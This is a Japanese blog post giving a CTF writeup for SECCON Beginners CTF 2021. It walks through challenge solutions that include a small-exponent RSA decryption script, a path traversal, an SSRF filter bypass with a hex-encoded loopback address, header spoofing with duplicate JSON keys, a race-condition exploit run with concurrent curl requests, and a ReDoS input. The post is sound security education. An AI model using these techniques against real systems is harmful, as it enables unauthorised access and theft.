1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

SECCON Beginners CTF 2021 writeup!

Posted at

概要

今年も SECCON Beginners CTF をやりました!時間内に解けた問題のwriteupを書いていきます。

image.png
939pt / 175位(S*)でした。web問が思ったより解けて良かったなの気持ち。

イースターエッグ(解けてない)

トップページのノイズ描写かっこいいなーと思いつつdevtoolを開いたらなんか出てきた。
Untitled.png

[misc] width_of_space

Our spacemilky_way may be in a computer.
Computer use binary (0,1).
🌌🪐🪐🌌🌌🪐🪐🌌‌‌‌‌🌌...[省略]
※この問題はイースターエッグであり正式な問題ではないので、解けても点数には加算されないしスコアサーバーにsubmitできません!

解けてないけど、解説によるとゼロ幅スペースが入っているようで、それをもとに解くらしい。なるほど……?

welcome

welcome

Welcome to SECCON Beginners CTF 2021!
フラグはDiscordサーバのannouncementsチャンネルにあります。

flag
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

crypto

simple_RSA

Let's encrypt it with RSA!
simple_RSA.tar.gz 0bf8879ad05cc4b49a643f4ef3c8672468862d56

n, e, c と暗号化プログラムが与えられる。 e=3 だが、ググってみたところ e の値が十分に小さい場合は簡単に復号できるらしい。

ということで、参考サイトを真似して復号プログラムを書いた。

rsa_decrypt.py
import gmpy
from Crypto.Util.number import long_to_bytes


def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound


if __name__ == "__main__":
    n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
    e = 3
    c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

    m, bound = root_e(c, e, n)
    print(long_to_bytes(m))
    
flag
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

参考

plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー

Logical_SEESAW

We have an innovative seesaw!
Logical_SEESAW.tar.gz 323d2e48e60f4ed521c88acf5d274d3c003ecdd7

Logical_SEESAW.tar.gz
problem.py
from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
    key = getrandbits(length)

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5
    
    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))
            
    cipher_L.append("".join(cipher))


print("cipher =", cipher_L)

cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101']

flagを2進数にして、ランダムな値( key )とandをとっている(andを取るか取らないかもランダム)。それを16回実施した結果が cipher として与えられている。

ここで、場合分けをして01のどちらになるかを考えてみた。

(flag, key) andを取る場合のcipher andを取らない場合のcipher(=flagそのまま)
(0, 0) 0 0
(0, 1) 0 0
(1, 0) 0 1
(1, 1) 1 1

つまり、 cipher のビットごとに見たとき

  • 16回すべて0:flagも0
  • 16回すべて1:flagも1
  • 16回で0, 1両方:flagは1

と固定できる。これをもとにプログラムを書いて解いた。

answer.py
from Crypto.Util.number import *

# cipherは省略
cipher = ["11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100", ...]
length = len(cipher[0])

# 転置
t_cipher = [list(x) for x in zip(*cipher)]

flag_b = ["x"] * length

x = 0
for i, col in enumerate(t_cipher):
    zero = col.count("0")
    one = col.count("1")
    # print(f"0: {zero}, 1: {one}")

    if zero == 16:
        flag_b[i] = "0"
    else:
        flag_b[i] = "1"

print(flag_b)

flag_10 = int("".join(flag_b), 2)
print(long_to_bytes(flag_10))
flag
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

reversing

only_read

バイナリ読めなきゃやばいなり〜
chall 271938a479a59fe40438b9ecf0e2fca002fe085b

IDAで開いてみたらflagが1文字ずつ見えていたのでそのまま読んだ。

flag
ctf4b{c0n5t4nt_f0ld1ng}

children

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
children 336f0a34491926dac7c1ee43c63c4413c2a81ede

gdbを使って実行すると、子プロセスが生まれるたびにプロセス番号を出力してくれるのでその通りに入力していく。

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /mnt/d/ctf/ctf4b2021/childrenn/children 
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

[Detaching after fork from child process 27506]
[Detaching after fork from child process 27507]
Please give me my child pid!
27507
ok
[Detaching after fork from child process 27508]
Please give me my child pid!
27508
ok
[Detaching after fork from child process 27509]
[Detaching after fork from child process 27510]
Please give me my child pid!
27510
ok
[Detaching after fork from child process 27511]
Please give me my child pid!
27511
ok
[Detaching after fork from child process 27512]
[Detaching after fork from child process 27513]
Please give me my child pid!
27513
ok
[Detaching after fork from child process 27514]
Please give me my child pid!
27514
ok
[Detaching after fork from child process 27515]
[Detaching after fork from child process 27516]
Please give me my child pid!
27516
ok
[Detaching after fork from child process 27517]
Please give me my child pid!
27517
ok
[Detaching after fork from child process 27518]
Please give me my child pid!
27518
ok
[Detaching after fork from child process 27519]
Please give me my child pid!
27519
ok
How many children were born?
14
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} [Inferior 1 (process 27505) exited normally]
flag
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

pwnable

苦手なので、ちょっと見て後からやろう……と思ってたら終わった(´・ω・`)

web

osoba

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります! https://osoba.quals.beginners.seccon.jp/
osoba.tar.gz 566021e832a474559dfb67f5d3cd0bed14147f9b

例えば https://osoba.quals.beginners.seccon.jp/?page=public/wip.htmlで各ページが見られるので、トラバーサルっぽい。

?page=../flagでフラグ取得できた。

flag
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

I wish I could play as a werewolf...
https://werewolf.quals.beginners.seccon.jp/
app.py d11a6307acd8446077dbbb8bc2930240001eaa64

app.pyを見ると、postパラメータの値を playerインスタンスにアクセスして設定していることが分かる。

app.py
app.py
import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

__roleWEREWOLF を設定してやればいいが、 pythonの仕様(name mangling)から _Player__role にアクセスすると代入できるので、以下のようなパラメータを送信する。

name=test&color=red&_Player__role=WEREWOLF
flag
ctf4b{there_are_so_many_hackers_among_us}

check_url

Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/
index.php 8524943bf9415bf35516300bf6e16030e0cdd583

check_url.php
check_url.php
<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

url パラメータに 127.0.0.1 にアクセスするようなURLを設定すればいいらしいが、ドットが使えないのでそのままではアクセスできない。

ググったらSSRFの解説があり、それを参考にIPアドレスを16進数にして送信した。

https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001/
flag
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

参考

SSRF基礎

終了後の追記:なんでこれでアクセスできるのかよく分からなかったけど、discordに貼られていたqiitaページが参考になった。
この記事にある内容すべてが通るわけではないらしいので、1発で上記の方法を取ったのは運が良かったのかもしれない……。
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita

json

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/
json.tar.gz ce98dc233a9d77370045f306eb80cf73a17016f3

まずIP制限がかかっているが、ググったところ X-Forwarded-For: ヘッダで偽装できそうなので適当に偽装する。

# リクエスト
POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: _ga=GA1.2.1795842951.1621652466
X-Forwarded-For: 192.168.111.1
Content-Length: 17

{"id":2}

# レスポンス
HTTP/1.1 400 Bad Request
Server: nginx/1.19.10
Date: Sun, 23 May 2021 04:21:07 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 66
Connection: close

{"error":"It is forbidden to retrieve Flag from this BFF server."}

ソースを見ると{"id":2} でflagが降ってくるようだが、apiに内部アクセスする前の処理で弾かれてしまう。

同じkeyのパラメータを追加したらいけるかな?となんとなく試したら通った。

# リクエスト
POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: _ga=GA1.2.1795842951.1621652466
X-Forwarded-For: 192.168.111.1
Content-Length: 17

{"id":2,"id":1}

# レスポンス
HTTP/1.1 200 OK
Server: nginx/1.19.10
Date: Sun, 23 May 2021 04:20:30 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 67
Connection: close

{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
flag
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_use_db

Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
cant_use_db.tar.gz 1cded20dd165e1eca3cc12bee2010e65fe6ba9ea

DB代わりにテキストファイルを使っているらしい。ラーメンの麺やスープを所定の数だけ購入する(ボタンを押す)必要があるが、そのままでは所持金が足りない。

ソースを見ていると、購入時の書き込み処理後に sleep が入っていることが分かる。

app.py(抜粋)
@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"

この内容から、必要なリクエストを同時に送信することで所持金を減らす処理前に購入ができるのではないかと推測。力業だが、 /buy_noodles へのリクエスト2つと /buy_soup へのリクエスト1つを3つのターミナルから同時送信してみる。

# 一つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_noodles -k
💸$10000

# 二つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_noodles -k
💸$10000

# 三つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_soup -k
💸$20000

# 最後に確認
$ curl -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/eat -k
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
flag
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

misc

git-leak

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61

git-leak.zipの中身はmdファイルと.git

.git/logs/HEAD の内容を見ると、rebaseの文字がいくつかの行に見えるので、その周辺のハッシュ値をもとに diff を確認する。

# 前半省略
73879828a8ecac85c705508cdc9398f26c697249 36a4809f1ae8013432eb52cfd2f9f062a3269499 task4233 <29667656+task4233@users.noreply.github.com> 1620491768 +0900	rebase -i (start): checkout HEAD~2
36a4809f1ae8013432eb52cfd2f9f062a3269499 73879828a8ecac85c705508cdc9398f26c697249 task4233 <29667656+task4233@users.noreply.github.com> 1620491768 +0900	rebase -i: fast-forward
73879828a8ecac85c705508cdc9398f26c697249 b3bfb5c80e48bba23ab820ff91442cc3800c393a task4233 <29667656+task4233@users.noreply.github.com> 1620491811 +0900	commit (amend): feat: めもを追加
b3bfb5c80e48bba23ab820ff91442cc3800c393a b3bfb5c80e48bba23ab820ff91442cc3800c393a task4233 <29667656+task4233@users.noreply.github.com> 1620491834 +0900	rebase -i (finish): returning to refs/heads/master
b3bfb5c80e48bba23ab820ff91442cc3800c393a 80f3044ec17bd6be63f428e87e0a5fce690c50c5 task4233 <29667656+task4233@users.noreply.github.com> 1620491866 +0900	commit (amend): feat: めもを追加
80f3044ec17bd6be63f428e87e0a5fce690c50c5 e0b545f42cd1b3d51defe4cf6fe235f143e73d93 taro hoge <taro@secc0n.jp> 1620491902 +0900	commit (amend): feat: めもを追加
$ git diff 80f3 e0b5
$ git diff b3bf 80f3
$ git diff b3bf 7387
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..4cbb035
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1 @@
+ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
flag
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail_Address_Validator

あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
main.rb 67c79eaacc9fbb51d24b4d704438914ca5f8d47c

接続例
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test
Invalid mail address!
bye.
^C
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test@ex.jp
Valid mail address!
bye.
^C
main.rb
main.rb
# !/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

ソースコードを見ると、正規表現でメールアドレス判定をする部分に Timeout.timeout(5) が設定されており、ここでエラーが発生した場合にflagを取得できることが分かる

時間と正規表現ということから、ReDoSだとアタリをつけて適当に正規表現に合致しないものを送ってみる

$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Invalid mail address!
bye.
^C
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!!.a
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
^C
# 正規表現のテストに時間がかかっており、エラーになっていることが分かる
flag
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

所感

解けた人が多い問題はだいたい解けたかなって感じ。各分野の解けた問題数からも分かるようにweb以外ダメダメなので勉強したい……というのは毎回言っている気がする。
ただ、冒頭でも書いたが前回に比べてweb問だけは解けるようになったので、それは嬉しかった。5問目は見てすらないので、これも解法を確認しておきたい。
途中で某スタァライトされるアニメの一挙放送を見に行ったりしたのでずっとやっていたわけではないが、解いている間はそこまで集中力が切れなかったのも良かった。スタァライトはいいぞ。映画もやるよ。
途中のトークライブとかも含め、今回も楽しかったです!!精進します!!!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?